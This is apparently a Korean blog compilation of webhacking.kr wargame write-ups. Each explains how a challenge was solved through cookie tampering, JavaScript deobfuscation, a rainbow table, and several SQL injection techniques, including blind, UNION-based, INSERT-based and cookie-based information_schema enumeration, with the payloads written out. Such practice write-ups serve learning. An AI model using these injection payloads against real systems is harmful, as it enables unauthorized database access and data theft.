문제화면

 

숨겨진 오른쪽 화면. Goal 지점이 보인다.
마우스를 갖다댈 떄의 모습.

마우스를 갖다대면 O라고 적혀있던 문자가 yOu로 바뀐다.

그리고 이를 클릭하면 오른쪽으로 전진한다!

 

클릭해서 Goal 지점으로 들어가게 하니까 문제가 풀리긴 했지만 소스코드를 분석하여 문제를 풀어보겠다.

 

페이지 소스코드

 

<a id=hackme style="position:relative;left:0;top:0" onclick="this.style.left=parseInt(this.style.left,10)+1+'px';if(this.style.left=='1600px')this.href='?go='+this.style.left" onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a><br>
<font style="position:relative;left:1600;top:0" color=gold>|<br>|<br>|<br>|<br>Goal</font>

hackme.style.left가 클릭할 때마다 1px 씩 증가하며,

그 값이 1600px가 되면 문제를 풀 수 있는 링크가 생성되는 것 같다.

 

URL에 ?go='1600px'를 덧붙여 이동한 결과

그 결과, no hack이라는 문자열이 뜬다.

작은 따옴표 없이 ?go=1600px라고만 해도 같은 결과가 나오며 ?go=1600 이라고만 해도 같은 결과가 나온다.

 

콘솔창

hackme.style.left가 1600이 되는 순간에 문제가 해결되므로 

콘솔창을 통해서 hackme.style.left=1599로 설정해주면 O가 Goal 지점 부근에 가있는 것을 볼 수 있다.

이를 한번 더 클릭하면!

해결

 

[그림 1] 문제화면

1 2 3 각각 링크가 걸려있고, Password를 입력하는 칸이 있다.

 

 

[그림 2] 1 클릭

1을 클릭하면 no=1이 전달된 URL 주소로 바뀌며

Apple 문자열, Password 입력 칸이 나온다.

 

위와 같은 방식으로, 2를 클릭 시 no=2이 전달된 URL 주소로 바뀌며

Banana 문자열, Password 입력 칸이 나온다.

 

 

 

[그림 3] 3 클릭

3을 클릭하면

Secret 

column : id, no

no 3's id is password

이라는 문자열이 나온다. 

따라서, no=3일때의 id 값을 알아내야 한다는 소리인데,,

 

 

 

[그림 4] no=1일 때 페이지 소스코드 보기

일단 어느 페이지에서든 Password 칸에 값을 입력하면 원래 문제화면으로 돌아가며

webhacking.kr/challenge/web-09/index.php?pw=입력한 값

과 같이 입력한 값을 GET 방식으로 전달해주고 있다는 것을 알 수 있었다.

 

 

[그림 5] no = 0,1,2,3 이외의 값을 입력

전달해주는 no 값에 0,1,2,3 이외의 값을 입력하면 

저렇게 Password 입력창만 뜬다.

 

 

 

간단하게 SQL Injection을 시도해본 결과 

' , ", 공백, and, &, |, or, % 등 문자열이 필터링되면서

Access Denied가 뜬다.

 

이럴 때는 Blind SQL Injection을 사용해야 한다고 한다.

Blind SQL Injection이란, 쿼리 결과로 나오는 참, 거짓을 이용하여 DB 정보를 취득하고자 하는 기법이다.

 

※ 참고 ※

if (조건문,3,1)

맨 앞 조건문이 참이면 3을 반환, 거짓이면 1을 반환

 

블라인드 SQL 인젝션을 통해서 id의 길이를 먼저 알아내고자 했다.

no=if(length(id)like({id 문자열의 길이}),3,0)

 

→ id의 length와 입력한 값이 같다면 

no=3이 되어 화면에 Secret이 출력되고, 

만약 길이가 같지 않다면 no=0이 되어 초기화면이 보일 것이다.

 

pw 길이를 알기 위한 코드 작성
결과

no=3일 때의 id, 즉 pw의 길이가 11이라는 것을 알았다.

 

 

그리고 블라인드 SQL 인젝션에서 가장 많이 사용하는 함수인 substr 함수를 사용하여 11글자를 알아볼 것이다.

 

※ 참고 ※

substr (문자열, 시작위치, 개수)

문자열의 시작위치(1부터) 에서부터 개수만큼의 글자를 잘라 가져온다

 

no=if(substr(id,{문자인덱스},1)like({맞는지 확인할 문자의 헥스값}),3,0)

 

→ id 문자열의 문자인덱스(1부터) 한 자리 값이 확인할 문자의 헥스값과 같다면

no=3이 되어 화면에 Secret이 출력되고, 

만약 그렇지 않다면 no=0이 되어 초기화면이 보일 것이다.

 

아까 작성한 코드에 이를 추가
그 결과

pw를 알아냈다!!

 

 

그러나 맞지 않다고 뜬다.

이유를 알아보니,  MYSQL은 대소문자를 구분하지 않는다고 한다.

그래서 대문자 A의 아스키코드 0x41과 소문자 a의 아스키코드 0x61을 같은 문자로 인식하는 것이다.

 

따라서 이를 소문자로 적어줘봤다.

 

 

 

아직 작성 중인 글 입니다...

[그림 1] 문제화면
[그림 2] 소스코드

trim()

:: 문자열 앞뒤로 공백을 없애주는 함수

 

getenv()
:: 함수의 인자로 오는 변수에 따라 해당되는 환경 변수값을 알려주는 함수.

- REMOTE_ADDR : 웹 사이트를 접속한 컴퓨터의 ip address
- HTTP_USER_AGENT : 웹 사이트를 접속한 컴퓨터의 웹 브라우저 정보

 

addslashes()

:: DB 작업을 위해 쿼리를 작성할 때, 따옴표를 escape 시켜주는 함수.

ex) addslashes(You're my sunshine) >>> You\'re my sunshine

 

htmlentities()

:: html 태그를 그대로 출력하는 함수.


PHP 부분부터 살펴보면,

$agent 변수에 HTTP_USER_AGENT(접속 웹 브라우저 정보)을 저장하고,

$ip에는 REMOTE_ADDR(접속 ip주소)을 넣어준다.

만약 $agent 변수에 from 또는 FROM이 들어가면 Access Denied! 를 한다.

 

$count_ck에는 'select count(id) from chall8'의 결과가 배열의 형태로 저장되어 있다.

$count_ck에는 70개 이상의 값이 들어가면 저절로 삭제되게 되어있다.

 

그리고 $agent 변수가 현재 접속한 유저의 HTTP_USER_AGENT와 같은지 비교하고,

그중에서도 $agent의 id가 admin이면 문제가 풀리는 구조이다.

 

만약 $agent 변수가 존재하지 않는다면 agent와 ip, id를 insert 해준다.

 

 

우리가 현재 건드릴 수 있는 값은 $agent이고

$agent 변수에 'admin' 문자열을 넣는 것을 목표로 해야한다.

데이터를 넣는 것은 Insert 쿼리가 있는 맨 마지막 조건문을 이용해야 한다.

 

(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");

}

 

$agent 에 test','1.1.1.1','admin')('test2 를 넣게 되면

쿼리문은 insert into chall8(agent, ip, id) values('test','1.1.1.1','admin')('test2',$ip값,'guest') 가 되는 것이다.

 

 

$agent를 변조시키기 위해서는 Burp Suite를 이용해야 한다고 한다.

(Burp Suite 도구를 사용해서 HTTPS 요청 패킷을 캡처할 수 있기 때문)

 

Burp Suite 사용법을 익힌 후 다시 작성하겠다,,^^

 

 

[그림 1] 문제
[그림 2] auth를 누를 시 나타나는 창

auth 클릭 시 Access_Denied 문자열이 뜬다.

 

[그림 3] view-source 를 통해 코드 확인

php 코드를 분석해보자.

 

GET 요청과 함께 넘어온 val 인자값을 변수 $go에 저장한다.

$go에 들어온 값이 없다면 처음 페이지로 무조건 가게 되어있다.

그리고 preg_match 함수가 사용되는데, preg_match의 설명은 아래와 같다.

 

<preg_match> 패턴일치
첫 번째 인수 : 정규 표현식 작성
두 번째 인수 : 검색 대상 문자열
세 번째 인수 : 배열 변수 반환
→ 패턴 매치에서 매칭된 값을 배열로 저장
→ 반환값 : 매칭에 성공하면 1, 실패하면 0을 반환

/ 2 | - | \+ | from | _ | = | \\ s | \* | \/ /i

더보기

| (or)를 기준으로 살펴보면

숫자 2

기호 -

\+ ; 1개 이상의 \

from 문자열

기호 _

기호 =

\\s; 공백

\* ; 0개 이상의 \

기호 /

/i ; 대소문자 구별 x

 

여기에 해당되면 다 매칭이 되기 때문에 이를 사용하면 안된다.

 

$go 변수가 이 정규 표현식에 매칭되면 "Access Denied"가 뜨므로 매칭되지 않도록 해야한다.


이 단계를 넘기면 db로 연결되고 ( $db dbconnect(); )

$rand 변수에 1~5 사이의 수가 임의로 결정된다.( $rand=rand(1,5); )

 

$rand 변수의 값에 따라 밑의 조건문 중 하나가 무조건 실행이 된다. 

예를 들어 $rand == 1 이라면 실행되는 문장은 아래와 같다.

 

$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");

+) mysqli_query(연결객체, 쿼리) 함수는 mysqli_connect 를 통해 연결된 객체를 이용하여 MySQL 쿼리를 실행시키는 함수이다. 

1. chall7 테이블에서 lv가 $go변수값인 레코드의 lv를 보여주는 쿼리를 실행하거나

2. "nice try!"라는 문자열을 띄우면서 종료한다.

 

따라서, 해당 레코드가 없다면 die 되므로

쿼리의 결과가 있도록 $go 변수값을 잘 지정해줘야 한다.


+) mysqli_fetch_array() 함수는 쿼리문을 통해 가져온 결과의 레코드를 배열 형태로 받아오는 함수이다.

 

위 코드를 성공적으로 통과해왔다면

레코드를 배열 형태로 받아서 $data에 저장하게 된다.

 

$data[0] == 1 이면 'Access_Denied' 메시지를 띄우고

$data[0] == 2 이면 'Hello admin' 메시지를 띄운다.


결론적으로, data[0] == 2가 되어야 하고 그러러면 $result가 2라는 값을 가지도록 하면 된다.

 

chall7 테이블의 lv 컬럼에 어떤 형태의 값이 있는지 모르기 때문에

select lv from chall7 where lv=($go) 의 쿼리문을 통해 2라는 값을 가지도록 하려면

chall7 테이블의 lv 컬럼 값을 찾거나, lv 컬럼에 값을 넣어야 한다.

 

select lv from chall7 where lv=(0) union select 2#)

라고 먼저 넣어준다.

 

이렇게 되면 SELECT lv FROM chall7 WHERE lv =(0)

UNION

SELECT (2)

와 같은 쿼리문이 전달되는 것이다.

 

하지만 정규표현식에 숫자 2가 걸리므로

 

0)union(select(char(50)))%23

 

 

 

 

 

 

 

 

[그림 1] 문제화면

 

[그림 2] view source 확인

소스코드를 확인한 결과, encode코드와 decode코드로 나눠져있었다.

base64방식으로 20번 인코딩되고, str_replace로 치환된 후, $var_id, $val_pw에 저장된 값을 쿠키로 지정해주고 있다.

 

 

[그림 3] 쿠키 값 확인

쿠키값을 확인해보니 엄청난 길이의 값이 저장되어 있었다.

 

그리고 decode 하는 부분을 살펴보았다.

[그림 4] Decoding 코드

저장된 'user' 쿠키 값을 $decode_id 에, 저장된 'password' 쿠키 값을 $decode_pw 에 넣고

각각의 변수에 !문자열이 있다면 1로, @가 있다면 2로 ,, 바꿔준다.

그 후 그렇게 바꿔준 값을 base64 방식으로 20번 decoding 해준 후, 웹 페이지에 보여준다.

 

 

그리고 아주 핵심적인 코드!

if($decode_id=="admin" && $decode_pw=="nimda"){  
solve(6);
}

 

admin과 nimda를 base64 방식 암호화 함수로 20번 인코딩해서 쿠키값에 넣어주면 풀릴 것 같다.

 

[그림 5] 인코딩 파이썬 코드
[그림 6] 그 결과

따라서 나온 값을 각각 쿠키값에 넣어줬다.

[그림 7] 쿠키 값 수정

문제화면

까만 배경에 Login 버튼과 Join 버튼이 보인다.

 

Join 눌렀을 때

Join 버튼을 누르면 Access_Denied 라는 문자열을 담은 알림창이 뜬다.

 

 

login.php

Login 버튼을 눌렀을 때 나타나는 첫 화면이다.

아이디와 비밀번호를 입력하는 화면이 뜬다.

 

 

주소창 확인

주소창을 보니 항상 뜨던 webhacking.kr/challenge/web-05/ 주소 뒤에 mem이라는 디렉토리가 있는 것을 발견했다.

 

 

webhacking.kr/challenge/web-05/mem 페이지

들어갈 수 없었던 Join 페이지를 확인하기 위해 join.php를 눌렀다.

 

 

join.php 누른 결과

그 결과 bye라는 문자열을 띄워줬고

 

join.php

join.php에 성공적으로 들어오게 되었다.

하지만 검은 배경에 아무런 글자가 적혀있지 않았다.

 

페이지 소스 코드 확인

<html>
<title>Challenge 5</title></head><body bgcolor=black><center>
<script>
l='a';ll='b';lll='c';llll='d';lllll='e';llllll='f';lllllll='g';llllllll='h';lllllllll='i';llllllllll='j';lllllllllll='k';llllllllllll='l';lllllllllllll='m';llllllllllllll='n';lllllllllllllll='o';llllllllllllllll='p';lllllllllllllllll='q';llllllllllllllllll='r';lllllllllllllllllll='s';llllllllllllllllllll='t';lllllllllllllllllllll='u';llllllllllllllllllllll='v';lllllllllllllllllllllll='w';llllllllllllllllllllllll='x';lllllllllllllllllllllllll='y';llllllllllllllllllllllllll='z';I='1';II='2';III='3';IIII='4';IIIII='5';IIIIII='6';IIIIIII='7';IIIIIIII='8';IIIIIIIII='9';IIIIIIIIII='0';li='.';ii='<';iii='>';lIllIllIllIllIllIllIllIllIllIl=lllllllllllllll+llllllllllll+llll+llllllllllllllllllllllllll+lllllllllllllll+lllllllllllll+ll+lllllllll+lllll;
lIIIIIIIIIIIIIIIIIIl=llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+lll+lllllllllllllll+lllllllllllllll+lllllllllll+lllllllll+lllll;if(eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl)==-1) {alert('bye');throw "stop";}if(eval(llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+'U'+'R'+'L').indexOf(lllllllllllll+lllllllllllllll+llll+lllll+'='+I)==-1){alert('access_denied');throw "stop";}else{document.write('<font size=2 color=white>Join</font><p>');document.write('.<p>.<p>.<p>.<p>.<p>');document.write('<form method=post action='+llllllllll+lllllllllllllll+lllllllll+llllllllllllll+li+llllllllllllllll+llllllll+llllllllllllllll
+'>');document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='+lllllllll+llll+' maxlength=20></td></tr>');document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='+llllllllllllllll+lllllllllllllllllllllll+'></td></tr>');document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');}
</script>
</body>
</html>

페이지 소스보기를 통해 소스코드를 확인한 결과,

알파벳과 숫자를 나타내는 표현 방식이 있다는 것을 알 수 있었고

 

콘솔 창 이용

콘솔 창을 통해 해석해본 결과,

대략 document.cookie에 oldzombie라는 문자열이 없거나, document.URL에 mode=1라는 문자열이 없으면 bye 된다는 뜻이다.

 

쿠키 추가

oldzombie 라는 내용을 가진 쿠키(new)를 생성해 준 후, url에 ?mode=1을 추가하여 해당 페이지로 접속해본다.

 

제대로 뜬 join.php

안 보이던 join.php 화면이 보이기 시작했다.

 

join 완료

아이디 패스워드 모두 test로 가입한 후 

 

login.php

로그인을 해보니 .. admin으로 로그인을 해야한다고 뜬다.

admin으로 join한 결과

아이디를 admin으로 한 결과, 중복되는 결과라고 뜬다.

 

으잉?

따라서 앞에 공백을 5개 준 후 join 해보니 성공적으로 가입이 되었다.

 

그리고 나서 다시 login

문제

알 수 없는 초록색의 문자열과 함께 Password를 입력하는 창이 떠있다.

 

Password에 아무 문자를 넣고 [제출]을 해보니

계속해서 초록색 문자열은 바뀌었다.

 

 

source 코드

혼자 계속 저 문자열을 유추해보다가 view source 가 있는 것을 깨닫고,,^^

view source로 들어가 소스코드를 확인했다.

 

우리가 입력한 값은 key라는 이름으로 POST 방식으로 전달이 되며

$hash 변수에는 10000000,99999999  사이 중 아무 숫자가 지정되고 그 숫자에 salt_for_you라는 문자열을 붙인다.

sha1 방식으로 $hash를 500번 암호화하여 $_SESSION['chall4'] 

페이지에 보여준다.

 

 

이 문제는 레인보우 테이블을 이용하는 문제로, 시중에 나와있는 레인보우 테이블 만들기 코드를 참고하였다.

(레인보우 테이블(rainbow table)은 해시함수(MD-5, SHA-1, SHA-2 등)를 사용하여 만들어낼 수 있는 값들을 대량으로 저장한 표이다. 보통 해시함수를 이용하여 저장된 비밀번호로부터 원래의 비밀번호를 추출해 내는데 사용된다.)

 

레인보우 테이블 코드

hello에 해당 문자열을 넣고

이런 식으로 모든 경우를 고려하여 답을 찾아낸다.

 

답을 찾아내는데 정말 오래걸렸고, 그래서 일부러 10000000-10050000 사이에서 답이 나오도록 문자열을 계속 바꿔줌으로서 문제를 해결할 수 있었다.

 

문제
클릭 시 검은색으로 변한다

 

 

스도쿠인 것 같아서 풀어봤더니

 

다음 화면

clear! enter your name for log : 라는 문자열이 뜨면서 진짜 문제 해결을 위한 창이 떴다.

알맞은 이름을 적어야 하는 것 같다.

 

 

아무 문자열을 계속 적어보았다.

내가 적은 문자열은 name의 값으로 들어가고,

answer는 101010000011100101011111로 고정되어 있는 것 같고

ip에는 내가 사용하는 공인 IP주소가 들어가는 것을 확인할 수 있었다.

 

URL 주소

URL을 확인해보니 answer값 10101000...과 _1=1&_2=0... 이 부분이 맞아 떨어지는 것을 확인할 수 있었고 

아마 스도쿠 칸에서 검은색으로 칠했던 부분을 나타내는 것 같았다.

 

 

URL의 answer=1로 변경 시 뜨는 화면

URL의 answer 값을 1로 변경하였더니 

no라는 화면이 뜨면서 처음 화면으로 돌아갔다.

 

즉, answer에 따라서 결과가 달라지는 것 같다는 생각이 들었다.

answer 자리에 SQL Injection을 시도해본다.

대표적인 SQL 인젝션 구문 ' or 1=1-- 과 ' or 1=1#을 사용해보았다.

(-- 는 MS SQL Server의 주석이다. MySQL의 경우 #을 사용해야 한다.)

 

hidden으로 전해지는 value 값을 항상 참으로 바꾼 후 양식 다시 제출

빈 칸에는 아무 문자열을 썼고, answer로 전해지는 value 값을 항상 참으로 뜨도록 바꾼 후에 다시 submit 했다.

 

 

그 결과

query error!가 뜬다. Injection 공격이 맞는 것 같다.

 

 

이번에는 answer로 전달되는 value 값에 ' or 1=1#를 추가해주었다.

 

그랬더니 바로 해결되었다. 

아무래도 SQL Injection이 뚫리는 곳을 찾고, 참이 되게 하는 적절한 쿼리를 만드는 연습을 하는 문제인 듯 싶다.

문제

 

view-source 클릭 시 보이는 코드

 

문제에서 요구한 대로 view-source를 클릭하여 소스코드를 확인했다.

 

조건문의 결과에 따라 $COOKIE['user_lv']의 값이 달라지고 있고, solve(1)이라는 문자열이 보이는 것으로 보아

두 번째 php문을 유심히 봤다.

 

if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;

if($_COOKIE['user_lv']>=4) $_COOKIE['user_lv']=1;
if($_COOKIE['user_lv']>3) solve(1);

 

--> user_lv 쿠키값이 숫자가 아니면 user_lv 쿠키값은 1이 되고,

user_lv 쿠키값이 4이상이면 user_lv 쿠키값은 1이 되고,

user_lv 쿠키값이 3보다 크면 문제를 해결할 수 있다는 것 같다.

 

따라서, 3보다 크고 4보다 작은 숫자값을 user_lv 쿠키값에 넣어야겠다고 생각했다.

 

 

현재 저장되어 있는 user_lv 쿠키값 = 1

 

user_lv 쿠키값을 3.5로 변경

 

 

 

 

첫 화면

 

페이지 소스보기

페이지 소스보기를 통해 현재 시간이 주석처리 되어있다는 것과, admin.php 페이지가 있다는 것을 알 수 있었다.

 

 

~/admin.php 화면

admin.php 화면에서는 password를 입력하는 창이 나온다.

아마도 여기에 정답을 입력하는 것 같았다.

많은 값을 넣었을 때 'wrong password'라는 팝업창이 떴고 아무런 힌트가 될 만 한것들이 없었다.

 

 

cookie 값 확인

cookie 값을 확인해보았다.

Time이라는 이름의 cookie가 있었고, 해당 값이 들어가있다는 것이 확인되었다.

 

 

cookie 값을 변경해보았다.

1로 변경
결과

time 값을 1로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:00:01 로 바뀌는 것을 볼 수 있었다.

100으로 변경
결과

time 값을 100으로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:01:40 로 바뀌는 것을 볼 수 있었다.

이를 통해 time 쿠키 값이 저 날짜의 초 단위로 변경되어 들어간다는 것을 알 수 있었고,

여기에 SQL 공격을 통해 이 문제에 대한 힌트를 얻어야겠다고 생각했다.

 

최종적으로 Password를 구해야하므로 이 서버의 데이터베이스를 건드려보자는 생각이 들었다.

 


① 우선 데이터베이스 내에 몇 개의 테이블이 존재하는지 확인하기 위해 count 명령어를 사용한다.

 

time = (select count(table_name) from information_schema.tables where table_schema=database());

--> information_schema.tables에서 table_schema가 database() 인 table_name의 개수를 출력하라

 

※ INFORMATION_SCHEMA란 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다. INFORMATION_SCHEMA 데이터베이스 내의 모든 테이블은 읽기 전용이며, 단순히 조회만 가능하다. 즉, 읽기전용(Read-only)으로 사용자가 직접 수정하거나 관여할 수는 없다.

 

위 쿼리를 time 쿠키에 넣은 결과

09:00:02 이므로 테이블 개수는 2개임을 알 수 있다.

 

 

② 전체 두 개의 테이블 중 첫 번째 테이블의 이름 길이를 확인하기 위해 length와 limit 명령어를 사용한다.

time = (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1);

# limit 0,1 = 첫 번째 부터 1개 

 

첫 번째 테이블 명 길이

09:00:13 이므로 첫 번째 테이블 명의 길이는 13임을 알 수 있다.

 

 

③ 같은 방법으로 두 번째 테이블 명의 길이를 확인해본다.

time = (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1);

 

두 번째 테이블 명 길이

09:00:03 이므로 두 번째 테이블 명의 길이는 3임을 알 수 있다.

 

 

④ 이제 길이를 알았으니 첫 번째 테이블부터 이름을 유추해볼 것이다.

첫 번째 테이블의 이름을 확인하기 위해 ascii와 substr 명령어를 사용한다.

 

time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1);

 

+) substr = 문자열 일부 추출

substr(store_name, 3) : 3번째 자리의 값부터 추출

→ substr(store_name, 2, 4) : 2번째 자리의 값부터 4개의 값 추출

 

+) ascii = 받은 인자값을 아스키 코드값으로 변환해주는 함수

 

 

첫 번째 테이블의 첫 번째 아스키 값

09:01:37이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'a' 임을 유추할 수 있다.

(10진수 97 → 아스키 값 'a')

 

동일한 방식으로 (table_name, 1~13, 1)으로 확인한 결과

첫 번째 테이블 이름은 admin_area_pw 임을 알게 되었다.

 

 

⑤ 이제 두 번째 테이블의 이름을 확인해본다. 3글자니까 빠르게 끝날 것이다.

 

time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1);

 

두 번째 테이블의 첫 번째 아스키 값

09:01:48이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'l' 임을 유추할 수 있다.

(10진수 108 → 아스키 값 'l')

 

동일한 방식으로 (table_name, 1~3, 1)으로 확인한 결과

두 번째 테이블 이름은 log임을 알게 되었다.

 

 

⑥ 이제 첫 번째 테이블(admin_area_pw) 테이블에서 컬럼이 몇 개인지 확인한다.

time=(select count(column_name) from information_schema.columns where table_name="admin_area_pw");

 

첫 번째 테이블의 컬럼 개수

09:00:01 이므로 컬럼 개수는 1개임을 알 수 있다.

 

⑦ 컬럼의 문자열 길이를 확인한다.

time=(select length(column_name) from information_schema.columns where table_name="admin_area_pw");

 

첫 번째 테이블의 컬럼이름의 길이

09:00:02 이므로 컬럼명은 2글자임을 알 수 있다.

 

⑧ 컬럼의 첫 번째 문자열을 확인한다.

time=(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name="admin_area_pw");

 

컬럼의 첫번째 글자

09:01:52이므로 첫 번째 테이블의 컬럼명의 첫 번째 글자는 'p' 임을 유추할 수 있다.

(10진수 112 → 아스키 값 'p')

 

위와 같은 방법으로 두 번째 문자열을 확인한 결과, 'w' 였다.

즉, 'admin_area_pw' 테이블의 컬럼은 하나 존재하며, 그 컬럼의 이름은 'pw'이다. 라는 것 까지 유추해 낸 것이다.

 

 

 

해당 컬럼 안에 답이 있을 거라는 생각에

⑨ 컬럼의 내용을 확인하기 위해 먼저 문자열 길이를 확인한다. (length 이용)

time=(select length(pw) from admin_area_pw);

 

pw 길이

09:00:17 이므로 pw(정답)는 17글자임을 알 수 있다.

17글자나 되네..

 

 

⑩ 본격적으로 정답을 위해 pw 컬럼의 내의 문자열을 확인한다.

time=(select ascii(substr(pw,1,1)) from admin_area_pw);

 

pw 첫 번째 아스키코드 값

09:01:47이므로 pw의 첫 번째 글자는 'k' 임을 유추할 수 있다.

(10진수 107 → 아스키 값 'k')

 

동일한 방식으로 (pw, 1~17, 1)으로 확인한 결과

pw의 내용은 kudos_to_beistlab 임을 알게 되었다.

 

성공..

 

문제 풀이 후 느낀점

1. 코드를 짜는 연습을 해야겠다.

2. 데이터베이스 접근법을 알게되어 신기했다.

 

+ Recent posts